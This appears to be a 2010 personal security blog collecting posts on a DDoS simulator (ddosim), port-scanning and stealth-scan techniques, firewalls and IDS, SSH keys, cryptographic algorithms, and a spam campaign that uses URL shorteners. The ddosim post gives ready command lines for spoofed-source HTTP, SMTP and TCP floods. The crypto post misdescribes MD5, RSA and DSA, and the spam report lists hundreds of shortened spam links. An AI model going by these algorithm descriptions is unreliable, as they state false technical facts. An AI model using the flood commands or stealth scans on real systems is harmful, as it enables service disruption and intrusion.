Thursday, December 23, 2010

DDOSIM – Application layer DDoS Simulator

DDOSIM – Application layer DDoS Simulator

ddosim is a tool that can be used in a laboratory environment to simulate a distributed denial of service (DDOS) attack against a target server. The test will show the capacity of the server to handle application specific DDOS attacks. ddosim simulates several zombie hosts (having random IP addresses) which create full TCP connections to the target server. After completing the connection, ddosim starts the conversation with the listening application (e.g. HTTP server).

ddosim is written in C++ and runs on Linux. Its current functionalities include:

* HTTP DDoS with valid requests
* HTTP DDoS with invalid requests (similar to a DC++ attack)
* SMTP DDoS
* TCP connection flood on random port


Connection Setup DDOS - Simulator



There are a lot of options that make the tool quite flexible:

Usage: ./ddosim
-d IP Target IP address
-p PORT Target port
[-k NET] Source IP from class C network (ex. 10.4.4.0)
[-i IFNAME] Output interface name
[-c COUNT] Number of connections to establish
[-w DELAY] Delay (in milliseconds) between SYN packets
[-r TYPE] Request to send after TCP 3-way handshake. TYPE can be HTTP_VALID or HTTP_INVALID or SMTP_EHLO
[-t NRTHREADS] Number of threads to use when sending packets (default 1)
[-n] Do not spoof source address (use local address)
[-v] Verbose mode (slower)
[-h] Print this help message


Examples:

1. Establish 10 TCP connections from random IP addresses to www server and send invalid HTTP requests (similar to a DC++ based attack):

./ddosim -d 192.168.1.2 -p 80 -c 10 -r HTTP_INVALID -i eth0

2. Establish infinite connections from source network 10.4.4.0 to SMTP server and send EHLO requests:

./ddosim -d 192.168.1.2 -p 25 -k 10.4.4.0 -c 0 -r SMTP_EHLO -i eth0

3. Establish infinite connections at higher speed to www server and make HTTP valid requests:

./ddosim -d 192.168.1.2 -p 80 -c 0 -w 0 -t 10 -r HTTP_VALID -i eth0

4. Establish infinite TCP connections (without sending a Layer 7 request) from local address to a POP3 server:

./ddosim -d 192.168.1.2 -p 110 -c 0 -i eth0



More background info:

Some of the hardest to mitigate distributed denial of service attacks are the ones targeting the application layer (in TCP/IP stack). They are difficult to stop because they look legitimate to classic firewalls which let them pass freely (for an example look here). The only way to stop this kind of attacks is deep packet inspection (layer 7 inspection) which means a lot of money/resources.

In general, a DDoS attack is performed by an armie of bots (zombies) that simultaneously send attack packets to a victim server. If we talk about UDP packets (ex. targeting a DNS server), the attack is easier to implement because a zombie needs to send a single UDP packet (multiple times) to contribute to the attack. But in case of a TCP based attack, the zombie needs first to establish the full TCP 3-way handshake and then send the data packets (e.g. HTTP GET request). ddosim successfully simulates this attack scenario.

If you have any questions regarding ddosim, please let me know.

Monday, December 20, 2010

OS s n process ...................

Secured
Virus Free
Linux Kernel

Compatability
Reliable

HACKING & INTERNET SECURITY

New blog mainly focusing on ETHICAL HACKING & INTERNET SECURITY Will be released soon......


Welcome to the unique confluence of hackers , crackers and security professionals
on the world wide web.

This is your complete resource for internet security and ethical hacking.


visit:www.sibichakkaravarthy.blogspot.com for more information

Thursday, December 9, 2010

why a System/domain needs a firewall?????????????

why a System/domain needs a firewall?????????????

A firewall protects your computer by blocking unauthorized information. If a firewall blocked all the incoming and outgoing data, the computer would be unable to access the Internet. When you want some data to go through your firewall, and you want it sent to a specific location, you can set up port forwarding. Port forwarding gives the firewall instructions about which types of data are allowed and how they should be directed.

PORT FORWARDING

Port forwarding is the process that your router or firewall uses to sort the right kind of network data to the right port. Computers and routers use ports as a way to organize network data. Different types of data, such as web sites, file downloads, and online games, are each assigned a port number. By using port forwarding, the router or firewall sends the correct data to the correct place.

Port forwarding, also known as tunneling, is basically forwarding a network port from one node to the other. This forwarding technique allows an outside user to access a certain port (in a LAN) through a NAT (network address translation) enabled router.

Advantages of Port Forwarding


Port forwarding basically allows an outside computer to connect to a computer in a private local area network. Some commonly done port forwarding includes forwarding port 21 for FTP access, and forwarding port 80 for web servers. To achieve such results, operating systems like the Mac OS X and the BSD (Berkeley Software Distribution) will use the pre-installed in the kernel, ipfirewall (ipfw), to conduct port forwarding. Linux on the other hand would add iptables to do port forwarding.

Downsides of Port Forwarding

There are a few downsides or precautions to take with port forwarding.

* Only one port can be used at a time by one machine.
* Port forwarding also allows any machine in the world to connect to the forwarded port at will, and thus making the network slightly insecure.
* The port forwarding technology itself is built in a way so that the destination machine will see the incoming packets as coming from the router rather than the original machine sending out the packets.

Friday, November 19, 2010

Port scanning

Port scanning can uncover a number of holes that a hacker could use against you, we cover how to scan ports and more below.

TIP: To Scan your ports online (fast and free), take our free Firewall Test

Port Scanning is one of the most popular reconnaissance techniques attackers use to discover services they can break into. All machines connected to a Local Area Network (LAN) or Internet run many services that listen at well-known and not so well known ports. A port scan helps the attacker find which ports are available (i.e., what service might be listing to a port). Essentially, a port scan consists of sending a message to each port, one at a time. The kind of response received indicates whether the port is used and can therefore be probed further for weakness.

Can I take legal action against port scanning?

A Port scan is like ringing the doorbell to see whether someone’s at home. The police usually can’t do anything about it. They have to wait until a crime is committed. The police might give it more consideration if the doorbell is repeatedly rung causing the homeowner to complain of harassment. Sometimes, if a computer system is affected too much by a port scan, one can argue that the port scan was, in fact, a denial-of-service (DoS) attack, which is usually an offense.

The various techniques used in a port scan are summarized below.

Port Scan – Port Numbers


As you know, public IP addresses are controlled by worldwide registrars, and are unique globally. Port numbers are not so controlled, but over the decades certain ports have become standard for certain services. The port numbers are unique only within a computer system. Port numbers are 16-bit unsigned numbers.The port numbers are divided into three ranges:

* Well Known Ports (0 – 1023)
* Registered Ports (1024 – 49151)
* Dynamic and/or Private Ports (49152 – 65535)

Well-Known Ports

Ports numbered 0 to 1023 are considered well known (also called standard ports) and are assigned to services by the IANA (Internet Assigned Numbers Authority). Here are a few samples:

* echo – 7/tcp – Echo
* ftp-data – 20/udp – File Transfer [Default Data]
* ftp – 21/tcp – File Transfer [Control]
* ssh – 22/tcp – SSH Remote Login Protocol
* telnet – 23/tcp – Telnet
* domain – 53/udp – Domain Name Server
* www-http – 80/tcp – World Wide Web HTTP

Non-Standard Ports

By a non-standard port, we simply mean a port whose number is higher than 1023. In this range also, several services are “standard.” For example:

* wins – 1512/tcp # Microsoft Windows Internet Name Service
* radius 1812/udp # RADIUS authentication protocol

Some malicious programs such as Trojans and Viruses have spread so wide that there are a number of ports that if found open, usually indicate that a system may have a virus.

Port Scanning Basic Techniques

The simplest port scan tries (i.e., sends a carefully constructed packet with a chosen destination port number) each of the ports from 0 to 65535 on the victim to see which ones are open.

TCP connect():- The connect() system call provided by an OS is used to open a connection to every interesting port on the machine. If the port is listening, connect() will succeed, otherwise the port isn’t reachable.

Strobe -A strobe does a narrower scan, only looking for those services the attacker knows how to exploit. The name comes from one of the original TCP scanning programs, though now virtually all scanning tools include this feature.

The ident protocol allows for the disclosure of the username of the owner of any process connected via TCP, even if that process didn’t initiate the connection. So, e.g., one can connect to port 80 and then use identd to find out whether the HTTP server is running as root.

Port Scanning Advanced Techniques


One problem, from the perspective of the attacker attempting to scan a port, is that services listening on these ports log scans. They see an incoming connection, but no data, so an error is logged. There exist a number of stealth scan techniques to avoid this. A stealth scan is a kind of scan that is designed to go undetected by auditing tools. Obviously, this is a race between the hacker and firewall vendors – what are considered stealth scans now may not be so in a few months once the firewall vendor becomes aware of such techniques.

Port scanners scan a host rapidly by firing off packets at different ports. So, scanning very slowly (taking a day or more) becomes a stealth technique. Another stealth scanning technique is “inverse mapping”, where you try to find out all hosts on a network by generating “host unreachable” ICMP-messages for those IPs that do not exist. Since these messages may be generated by any TCP/IP packet one may send meaningless packets (e.g. RST packets sent without any previous packet).

Fragmented packet Port Scan


The scanner splits the TCP header into several IP fragments. This bypasses some packet filter firewalls because they cannot see a complete TCP header that can match their filter rules. Some packet filters and firewalls do queue all IP fragments, but many networks cannot afford the performance loss caused by the queuing.

SYN scan

This technique is also called half-open scanning, because a TCP connection is not completed. A SYN packet is sent (as if we are going to open a connection), and the target host responds with a SYN+ACK, this indicates the port is listening, and an RST indicates a non- listener. The server process is never informed by the TCP layer because the connection did not complete.

FIN scan

The typical TCP scan attempts to open connections (at least part way). Another technique sends erroneous packets at a port, expecting that open listening ports will send back different error messages than closed ports. The scanner sends a FIN packet, which should close a connection that is open. Closed ports reply to a FIN packet with a RST. Open ports, on the other hand, ignore the packet in question. This is required TCP behavior.

If no service is listening at the target port, the operating system will generate an error message. If a service is listening, the operating system will silently drop the incoming packet. Therefore, silence indicates the presence of a service at the port. However, since packets can be dropped accidentally on the wire or blocked by firewalls, this isn’t a very effective scan.

Other techniques that have been used consist of XMAS scans where all flags in the TCP packet are set, or NULL scans where none of the bits are set. However, different operating systems respond differently to these scans, and it becomes important to identify the OS and even its version and patch level.

Bounce Scan


The ability to hide their tracks is important to attackers. Therefore, attackers scour the Internet looking for systems they can bounce their attacks through.

FTP bounce scanning takes advantage of a vulnerability of the FTP protocol itself. It requires support for proxy ftp connections. This bouncing through an FTP server hides where the attacker comes from. This technique is similar to IP spoofing in that it hides where the attacker comes from. For example, badwebsitexyz.com establishes a control connection to the FTP server-PI (protocol interpreter) of say, badspiderbites.com, then requests that the server-PI initiate an active server-DTP (data transfer process) to send a file anywhere on the Internet.

A port scanner can exploit this to scan TCP ports from a proxy ftp server. Thus you could connect to an FTP server behind a firewall, and then scan ports that are more likely to be blocked (e.g., port 139). If the ftp server allows reading from and writing to a directory (such as /incoming), you can send arbitrary data to ports that you do find open.

The advantages to this approach are obvious (harder to trace, potential to bypass firewalls). The main disadvantages are that it is slow, and that many FTP server implementations have finally disabled the proxy “feature”.

Finger


Most finger servers allow commands to be forwarded through them. Finger supports recursive queries. A query such as “rob@foo@bar” will ask “bar” to resolve “rob@foo”, causing “bar” to query “foo”. This technique can be used to hide the original source of the request.

E-mail: Spammers try to relay their spam through SMTP servers. As a result, probes for SMTP are commonly seen by machines on the Internet.

SOCKS Allows almost any protocol to be tunneled through the intermediate machine. As a result, attackers probing for SOCKS is common scan seen on the Internet.

HTTP proxy: Most web servers support proxying so that all web traffic can be directed to a single server for filtering as well as caching to improve performance. A lot of these servers are misconfigured to allow proxying of any request from the Internet, allowing attackers to relay attacks against web sites through a third party. Probes for HTTP proxies are one of the more common scans seen today.

IRC BNC: Attackers love to hide their IRC identities by bouncing their connections through other machines. A particular program called “BNC” is used for this purpose on compromised machines.

UDP Scanning


Port scanning usually means scanning for TCP ports, which are connection-oriented and therefore give good feedback to the attacker. UDP responds in a different manner. In order to find UDP ports, the attacker generally sends empty UDP datagrams. If the port is listening, the service should send back an error message or ignore the incoming datagram. If the port is closed, then most operating systems send back an “ICMP Port Unreachable” message. Thus, you can find out if a port is NOT open, and by exclusion determine which ports are open. Neither UDP packets, nor the ICMP errors are guaranteed to arrive, so UDP scanners of this sort must also implement retransmission of packets that appear to be lost (or you will get a bunch of false positives).

Also, this scanning technique is slow because of compensation for machines that implement the suggestions of RFC 1812 and limit ICMP error message rate. For example, a kernal may limit destination unreachable message generation to 80 per 4 seconds, with a 1/4 second penalty if that is exceeded.

Some people think UDP scanning is pointless – not so. Sometimes for example, Rpcbind can be found hiding on an undocumented UDP port somewhere above 32770. So it doesn’t matter that port 111 is blocked by the firewall. But can you find which of the more than 30,000 high ports it is listening on? With a UDP scanner you can.

ICMP Scan


This isn’t really port scanning, since ICMP does not have a port abstraction. But it is sometimes useful to determine what hosts in a network are up by pinging them all. ICMP scanning can be done in parallel, so it can be quite fast.

Fingerprinting an OS
:

The last scanning method is called Fingerprinting. Fingerprinting is the technique of interpreting the responses of a system in order to figure out what it is. Unusual combination’s of data are sent to the system in order to trigger these responses. Systems respond the same with correct data, but they rarely respond the same way for wrong data.

Thursday, November 18, 2010

Firewall, Intrusion Detection System (IDS), Intrusion Protection System (IPS)


Firewall/VPN is a perimeter-defense device, typically deployed where the enterprise’s internal network meets the open Internet. The main purpose of the firewall is to stop unwanted traffic from entering or leaving the internal enterprise network. The purpose of the IPSec VPN is to provide secure communication between two sites through the open Internet.

The Intrusion System (IDS) is traditionally deployed to monitor traffic in vital segments in the network, generating alerts when an intrusion is detected. The importance of the IDS has grown significantly as the industry recognizes that 90 percent of attacks in recent years have exploited application vulnerabilities. The traditional stateful inspection firewall, based largely on matching packet header information against Access Control Lists (ACLs), is ineffective to fend off such attacks. A good IDS, on the other hand, can expose these application layer attacks.

But detection alone is insufficient—it is also important to terminate the attack upon detection. Hence, the trend is to evolve the IDS into an Intrusion Prevention System (IPS), which takes detection to the next level and stops the detected attacks, including application attacks.

In addition to the IDS/IPS, application content security arsenal in an enterprise may also include antivirus, anti-spam and content filtering devices.

Sunday, November 14, 2010

SSH (a prolonged SSL)

SSH Connection Methods
Several things can happen when using SSH to
connect from your machine (client) to another
machine (server):
􀀀
Server's public host key is passed back to the client
and verified against known_hosts
􀀀
Password prompt is used if public key is accepted,
or already on client, or
􀀀
RSA/DSA key exchange takes place and you must
enter in your private key passphrase to
authenticate (assuming you have one).

SSH Quick Tips

You have a choice of authentication keys - RSA
is the default (dsa is fine as well).
The files you care about are:
/etc/ssh/ssh_config
/etc/ssh/sshd_config
~/.ssh/identity and identity.pub (deprecated)
~/.ssh/id_dsa and id_dsa.pub
~/.ssh/id_rsa and id_rsa.pub
~/.ssh/known_hosts
~/.ssh/authorized_keys
And, note the rsa/dsa host-wide key files in /etc/ssh
Be sure that you do “man ssh” and “man sshd”
and read the entire descriptions for both the
ssh client and ssh server (sshd).

SSH Authentication
Private key can be protected by a passphrase
So you have to give it each time you log in
Or use "ssh-agent" which holds a copy of your
passphrase in RAM
No need to change passwords across dozens of
machines
Disable passwords entirely!
/etc/ssh/sshd_config
Annoyingly, for historical reasons there are
*three* different types of SSH keys
SSH1 RSA, SSH2 DSA, SSH2 RSA

Man in the Middle Attacks
The first time you connect to a remote host,
remember its public key
Stored in ~/.ssh/known_hosts
The next time you connect, if the remote key is
different, then maybe an attacker is
intercepting the connection!
Or maybe the remote host has just got a new
key, e.g. after a reinstall. But it's up to you to
resolve the problem
You will be warned if the key changes.

Exchanging Host Keys

First time connecting with ssh:
ssh t1@pc1.t1.ws.sanog.org
The authenticity of host 'pc1.t1.ws.sanog.org (84.201.31.11)' can't be
established.
DSA key fingerprint is 91:ba:bf:e4:36:cd:e3:9e:8e:92:26:e4:57:c4:cb:da.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added 'pc1.t1.ws.sanog.org,84.201.31.11' (DSA) to
the list of known hosts.
t1@pc1.t1.ws.sanog.org's password:
At this point the client has in the file ~/.ssh/known_hosts the contents
of pc1.t1.ws.sanog.org's /etc/ssh/ssh_host_dsa_key.pub.
Next connection:
[hallen@hallen-lt .ssh]$ ssh t1@pc1.t1.ws.sanog.org
t1@pc1.t1.ws.sanog.org's password:
Now trusted - Not necessarily a good thing...

Exchanging Host Keys Cont.
Command Key Type Generated Public File
ssh-keygen -t rsa RSA (SSH protocol 2) id_rsa.pub
ssh-keygen -t dsa DSA (SSH protocol 2) id_dsa.pub
- Default key size is 1024 bits
- Public files are text
- Private files are encrypted if you use a
passphrase (still text)
Corresponding file on the host for host key
exchange is known_hosts
How does SSH decide what files to compare?
Look in /etc/ssh/sshd_config. For OpenSSH
version 2 and 3 the server defaults to protocol 2
then 1. Recommend turning of version 1.
By default OpenSSH version 2 client connects
in this order:
RSA version 2 key
DSA version 2 key
Password based authentication (even if RSA
version 1 key is present)
Pay attention to the “HostKeyAlgorithms” setting in /etc/ssh/ssh_config to
help determine this order - or use ssh command line switches to override
these settings.

Saturday, September 11, 2010

NETWORK SECURITY ALGORITHM

DSA
This digital signature algorithm (DSA) is used for generating digital signatures in digital certificates. Only someone who has a public-private key pair can generate a digital signature.

A digital signature consists of two integers, called ‘s’ (signature) and ‘r’ (verification), which are sent to the client for authentication. These integers are generated from several random integers.

First two prime integer numbers ‘p’ and ‘q’ are taken. Then two random integers ‘h’ and ‘k’ are selected from these. Here ‘h’ is in the range of 1 and p-1, while ‘k’ is a value greater than 0 and less than ‘q’. Subsequently, another value ‘g’ is calculated using ‘h’, ‘p’ and ‘q’. Finally, ‘r’ is calculated using ‘g’, ‘p’ and ‘q’.

For generating ‘s’, first a random message ‘m’ is created. Then its hash is calculated using a hashing algorithm like MD5. Finally, ‘s’ is generated using ‘k’, the hashed message, private key, ‘r’ and ‘q’.

The digital signature along with ‘p’, ‘q’ and ‘g’ is sent to the client for verifying its identity. The hashing algorithm used, the message ‘m’ and the public key are also sent. On the client side the message ‘m’ is first subjected to the hashing algorithm. Then a value ‘v’ (called verifier) is calculated from this hashed message, ‘s’, ‘p’, ‘q’, and the public key. Now if ‘v’ is equal to ‘r’, then the digital signature is verified.

MD5

MD5 (Message Digest) is a hashing algorithm used in generating digital signatures. The output of MD5 is a message digest, which can be used to authenticate the owner of a private key.

The MD5 algorithm takes a message and checks whether it’s size is 448-bits. If it’s not, then it pads it with extra bits. Then it again takes the original message and converts it to 64 bits. These are then added to the 448 bits to give a block of 512 bits. This block is then broken into 32, 16-bit message blocks. A loop is started in which each of the 32 blocks are processed. Outside this loop, four separate 32-bit variables—A, B, C, and D—of standard values are taken. Then the values of these four variables—A, B, C, D—are copied to four different variables say a, b, c, and d. Next, within the loop new values are calculated for a, b, c, and d using the 16-bit blocks and the a, b, c, and d values themselves. A different equation is used for each of these four variables. Now A, B, C, and D are incremented with the new values of a, b, c, and d.

Finally A, B, C, and D totaling to 128 bits (32x4) is the hash calculated, which is also called a message digest.

Encryption

Broadly speaking there are two encryption techniques—symmetric and asymmetric—used for secure communication. In symmetric encryption, the same key is used for both encryption as well as decryption. This is known as the private key. Consider two parties, A and B, wanting to engage in an encrypted communication. Party A generates a private key and sends its copy to party B. Hence both parties use this key to encrypt as well as decrypt messages.

In asymmetric encryption, party A generates a public-private key pair, and sends just the public key to party B. When B wants to send a secret message to A, it encrypts the message using A’s public key. When A receives this encrypted message, it can only decrypt it with its corresponding private key. Similarly, the reverse can also happen. This procedure is also known as PKI or Public Key Infrastructure.

RSA

RSA, which is named after its developers (Rivest, Shamir, Adleman), is an asymmetric or public key algorithm. In this, the public-private key pair has a fixed length in bits, which can be decided at the time of their generation like 512, 768, 1,024, 2,096, with higher numbers corresponding to stronger encryption. When the public key is generated, it consists of the key size and a positive integer called public exponent, which has some typical standard values. The private key when generated includes these two along with a private exponent and two prime numbers. The two prime numbers are derived such that their product is equal to the key size. In RSA, key size is the same for both keys. The private exponent in the private key is calculated from the public exponent and the two prime numbers.

Once the keys have been generated, they are ready for encrypting or decrypting data or message. The number of bits in the message being encrypted must be less than or equal to the key size. If not, the message is broken into separate blocks and then encrypted. If the message size is smaller than the key size then some extra bits are padded to the message.

The encrypted message is created using the original message itself, public exponent, and the key size information in the public key. When the encrypted message is received on the other end, the private exponent and the key size is used to decrypt it. Since the private exponent is calculated using the public exponent, only the correct private key can decrypt the message. The encryption and decryption of the message requires a lot of exponential calculations. So RSA or as such public key encryption is slow.

DES

The Data Encryption Standard (DES) is a block cipher (a form of shared secret encryption) that was selected by the National Bureau of Standards as an official Federal Information Processing Standard (FIPS) for the United States in 1976 and which has subsequently enjoyed widespread use internationally. It is based on a symmetric-key algorithm that uses a 56-bit key. The algorithm was initially controversial with classified design elements, a relatively short key length, and suspicions about a National Security Agency (NSA) backdoor. DES consequently came under intense academic scrutiny which motivated the modern understanding of block ciphers and their cryptanalysis.

Tuesday, August 24, 2010

URL Shortening Services

Spammers Abusing URL Shortening Services

We've previously warned about the dangers of following "Tiny URLs" on Twitter. With only 140 characters to use in your message, many Twitterers use URL shortening services to save their precious characters. Unfortunately, for most people you have no idea where that click is going to take you until you click on it and get forwarded by the URL shortening service. Its a bit like playing Russian roulette. Click the shortened URLs, and you may get informative news stories, insightful blog articles, pornography, or a new virus!


At the UAB Spam Data Mine we've seen a few of these Tiny URLs used in spam, but now we have our first major campaign that is exploiting them in a highly organized way.

aafter.us
bit.ly
is.gd
jh.to
jtty.com
myurl.in
o.ly
phaze.me
sturly.com
tcbp.net
tlink.me
urltwitter.com


So far we've seen almost a thousand of these spam messages, and have encountered 453 unique URLs at this point. Here are the subjects that are being used in this spam campaign:

Subject: $10 free deposit
Subject: $5000 Jackpot waiting for you!
Subject: 200% bonus on every deposit
Subject: 75 and 90 Ball Bingo
Subject: Become A Bingo Hustler
Subject: Become A Winner Today
Subject: Become A Winner With Bingo
Subject: b-i-n-g-o for you!
Subject: Bingo has never been easier.
Subject: Bing-o Was Her Name-o
Subject: Do you like to play bingo online?
Subject: Enjoy Bingo Online
Subject: Ever wanted to play Bingo for Cash ?
Subject: Gamble online? Read me!
Subject: Gamble With Bingo
Subject: Gamble? Like to play online?
Subject: Hot 9-Real SLot Machines! $25,000 Jackpot
Subject: Hustle Online. Play Bingo.
Subject: Like Bingo? Win $
Subject: Nickel, Dime, Quarter, & High Roller Games!
Subject: Nightly Events for CASH Prizes
Subject: Online diplomas here.
Subject: Play Bing0 Online
Subject: Play Bingo Now
Subject: Play Bingo Today
Subject: play online
Subject: Play Online Now
Subject: Play Online, Win Today
Subject: Someone has invited you to a game of Bingo
Subject: Something For You. Play Online.
Subject: Vehicle Warranty - 60% off
Subject: Want to play bingo online and win CASH ?
Subject: Win With Bingo
Subject: You have been invited to a Bingo game!

We see this campaign as a dangerous precedence which could be followed by other spammers to make our efforts to block their spam more difficult. As one would expect, the spammer, in addition to cheating the affiliate program, and offering "probably illegal" gambling to his email recipients, is delivering his spam message through a world-wide botnet of compromised computers. Just in our spam samples, we have spam for this campaign sent from 698 different computers in 43 different countries around the world.

Afrinic countries of CI, MA, SD, ZA
APNIC countries of BD, HK, ID, IN, JP, KR, PK, TH, TW, VN
ARIN countries of US (only 6 machines)
LACNIC countries of AR, BR, CL, CO, MX, SV, VE
RIPENCC countries of AM, AZ, BY, DE, EU, GR, HR, HU, IL, IQ, IR, IT, KZ, MD, PL, PT, RO, RS, RU, UA, UZ

Despite a broad smattering of countries, 43% of our spam came from Brazil, 20% from Russia, 13% from the Ukraine, 7% from India, and 2% from Italy. No other country represented more than 1% of the spam we received in this campaign.


Here are the URLs that we have seen so far in this campaign:

http://aafter.us/0oysiA
http://aafter.us/15Exas
http://aafter.us/3d3V9e
http://aafter.us/459UeB
http://aafter.us/4fOecg
http://aafter.us/4R2udg
http://aafter.us/4YzvqA
http://aafter.us/6DvEsN
http://aafter.us/78Lj60
http://aafter.us/9GQEkZ
http://aafter.us/9TOYVb
http://aafter.us/A4Oc0S
http://aafter.us/AxwsYK
http://aafter.us/b9rkEe
http://aafter.us/bezEO3
http://aafter.us/BIyffd
http://aafter.us/ckqW55
http://aafter.us/cyHq06
http://aafter.us/D8kzvt
http://aafter.us/DBYJNk
http://aafter.us/dpJxBc
http://aafter.us/ew7332
http://aafter.us/FIDLQs
http://aafter.us/FJLPyM
http://aafter.us/fTJDW4
http://aafter.us/jptgOx
http://aafter.us/JwmKyP
http://aafter.us/jYg3j6
http://aafter.us/kdOH1o
http://aafter.us/knACii
http://aafter.us/motFQJ
http://aafter.us/n8quI5
http://aafter.us/N8U0Bq
http://aafter.us/P8o6Kn
http://aafter.us/PI3BvT
http://aafter.us/qDDkB6
http://aafter.us/QfSfkf
http://aafter.us/RH3z2F
http://aafter.us/rNqm6H
http://aafter.us/sEwQMU
http://aafter.us/siykT5
http://aafter.us/sY6RN1
http://aafter.us/TXgsXd
http://aafter.us/UxbBYV
http://aafter.us/vcmHnv
http://aafter.us/XwUWd3
http://aafter.us/YP4zHn
http://aafter.us/YUXbB4
http://aafter.us/ZjUAOw
http://bit.ly/10VJRX
http://bit.ly/11oYQ8
http://bit.ly/14egZi
http://bit.ly/15piKn
http://bit.ly/16aOsd
http://bit.ly/16iqi3
http://bit.ly/16temb
http://bit.ly/19AQlF
http://bit.ly/37LQeX
http://bit.ly/4mrqW9
http://bit.ly/8Tbvz
http://bit.ly/9K5r5
http://bit.ly/B0S1U
http://bit.ly/b3JyJ
http://bit.ly/E7hiD
http://bit.ly/eBlww
http://bit.ly/Ex5GL
http://bit.ly/EzZV4
http://bit.ly/FIolK
http://bit.ly/gj9Py
http://bit.ly/gQxNZ
http://bit.ly/ih7Di
http://bit.ly/iwdpY
http://bit.ly/joj8y
http://bit.ly/lhPp7
http://bit.ly/MOXP7
http://bit.ly/N3iVs
http://bit.ly/Q4XY0
http://bit.ly/q7EwA
http://bit.ly/RWnFc
http://bit.ly/tdLyV
http://bit.ly/TEXC4
http://bit.ly/tSW62
http://bit.ly/ttrZ5
http://bit.ly/tvZ0h
http://bit.ly/V2q7R
http://bit.ly/Ve1jJ
http://bit.ly/VI7n6
http://bit.ly/Vs7Tb
http://bit.ly/xiUSr
http://bit.ly/xJEcE
http://bit.ly/xjIii
http://bit.ly/YdVa5
http://is.gd/1xL2e
http://is.gd/1xL2f
http://is.gd/1xL2g
http://is.gd/1xL2h
http://is.gd/1xL2i
http://is.gd/1xL2k
http://is.gd/1xL4B
http://is.gd/1xL4E
http://is.gd/1xL4F
http://is.gd/1xL4G
http://is.gd/1xL4L
http://is.gd/1xL6e
http://is.gd/1xL6m
http://is.gd/1xL6o
http://is.gd/1xL6r
http://is.gd/1xL6u
http://is.gd/1xL6z
http://is.gd/1xL8H
http://is.gd/1xL8t
http://is.gd/1xLaB
http://is.gd/1xLaE
http://is.gd/1xLaK
http://is.gd/1xLaO
http://is.gd/1xLaP
http://is.gd/1xLaW
http://is.gd/1xLcS
http://is.gd/1xLdc
http://is.gd/1xLdg
http://is.gd/1xLdh
http://is.gd/1xLdi
http://is.gd/1xLeX
http://is.gd/1xLff
http://is.gd/1xLfG
http://is.gd/1xLfx
http://jh.to/1obuti
http://jh.to/3ulofu
http://jh.to/4alo9u
http://jh.to/4u0axo
http://jh.to/4u9o8u
http://jh.to/5ayoja
http://jh.to/9eyisi
http://jh.to/9i8ika
http://jh.to/do0eba
http://jh.to/do9ihu
http://jh.to/ha6e0u
http://jh.to/je2a9e
http://jh.to/le8iha
http://jh.to/li3iju
http://jh.to/lozi1i
http://jh.to/rokoye
http://jh.to/vetagi
http://jh.to/xu5onu
http://jh.to/yekife
http://jh.to/yilizo
http://jh.to/zeximo
http://jtty.com/05i
http://jtty.com/0g8k
http://jtty.com/640z
http://jtty.com/6g0
http://jtty.com/90jm
http://jtty.com/aeuw
http://jtty.com/afn2
http://jtty.com/alr9
http://jtty.com/bhsv
http://jtty.com/cgt2
http://jtty.com/clx8
http://jtty.com/cn69
http://jtty.com/dhs9
http://jtty.com/dqr6
http://jtty.com/e2b0
http://jtty.com/e589
http://jtty.com/ehlm
http://jtty.com/ejn3
http://jtty.com/ely7
http://jtty.com/eu27
http://jtty.com/fruy
http://jtty.com/gkot
http://jtty.com/hklq
http://jtty.com/htx3
http://jtty.com/ilq3
http://jtty.com/ilw4
http://jtty.com/ix12
http://jtty.com/ixz6
http://jtty.com/jk17
http://jtty.com/knwz
http://jtty.com/lw56
http://jtty.com/lwz2
http://jtty.com/nrz1
http://jtty.com/ouxz
http://jtty.com/rsv9
http://jtty.com/tyz6
http://jtty.com/tz68
http://jtty.com/vyz2
http://jtty.com/wpz0
http://jtty.com/wt0h
http://jtty.com/y0q3
http://myurl.in/2SA9A
http://myurl.in/3Kgq3
http://myurl.in/3txkM
http://myurl.in/50WTX
http://myurl.in/6MUXd
http://myurl.in/6rP1t
http://myurl.in/8m00V
http://myurl.in/8QnMd
http://myurl.in/9ml8L
http://myurl.in/AhDeA
http://myurl.in/AKF1g
http://myurl.in/AMJBY
http://myurl.in/BCD7U
http://myurl.in/BM1RA
http://myurl.in/CcSAD
http://myurl.in/cooWR
http://myurl.in/drm2U
http://myurl.in/e0LIu
http://myurl.in/EcZlr
http://myurl.in/Ezbrh
http://myurl.in/Fk2Qs
http://myurl.in/H6xsv
http://myurl.in/HbY51
http://myurl.in/HiUfB
http://myurl.in/ivqVE
http://myurl.in/kr0Xn
http://myurl.in/L62hH
http://myurl.in/LUk5g
http://myurl.in/NWsMe
http://myurl.in/oa5Zo
http://myurl.in/Oq8Jj
http://myurl.in/pWVr8
http://myurl.in/q6qsq
http://myurl.in/rhChK
http://myurl.in/th2Gr
http://myurl.in/TSR8k
http://myurl.in/u8jyb
http://myurl.in/UzmYY
http://myurl.in/vppYC
http://myurl.in/wZoeF
http://myurl.in/XAj2y
http://myurl.in/xIIll
http://myurl.in/Y2Dc7
http://myurl.in/YbCtF
http://myurl.in/YG2Ny
http://myurl.in/yl4s2
http://myurl.in/yxj2l
http://o.ly/qT1
http://o.ly/qT3
http://o.ly/qT4
http://o.ly/qT5
http://o.ly/qT6
http://o.ly/qT7
http://o.ly/qT8
http://o.ly/qT9
http://o.ly/qTA
http://o.ly/qTb
http://o.ly/qTC
http://o.ly/qTH
http://o.ly/qTJ
http://o.ly/qTK
http://o.ly/qTm
http://o.ly/qTn
http://o.ly/qTO
http://o.ly/qTR
http://o.ly/qTS
http://o.ly/qTU
http://o.ly/qTV
http://o.ly/qTW
http://o.ly/qTX
http://o.ly/qYF
http://o.ly/qYh
http://o.ly/qYi
http://o.ly/qYm
http://o.ly/qYn
http://o.ly/qYo
http://o.ly/qYp
http://o.ly/qYq
http://o.ly/qYS
http://o.ly/qYt
http://o.ly/qYv
http://o.ly/qYw
http://o.ly/qYx
http://o.ly/qYy
http://phaze.me/0994
http://phaze.me/0cjw
http://phaze.me/0r08
http://phaze.me/11c7
http://phaze.me/1j84
http://phaze.me/1jy4
http://phaze.me/2dsc
http://phaze.me/2s08
http://phaze.me/2tq6
http://phaze.me/2xzx
http://phaze.me/3k5z
http://phaze.me/3r3k
http://phaze.me/3trj
http://phaze.me/3v4x
http://phaze.me/4kdb
http://phaze.me/4q59
http://phaze.me/5314
http://phaze.me/5jb1
http://phaze.me/6gjq
http://phaze.me/6n6p
http://phaze.me/836x
http://phaze.me/ckyd
http://phaze.me/d4nf
http://phaze.me/dj19
http://phaze.me/ffrn
http://phaze.me/fn86
http://phaze.me/g30w
http://phaze.me/g68v
http://phaze.me/gm36
http://phaze.me/hwjf
http://phaze.me/jh88
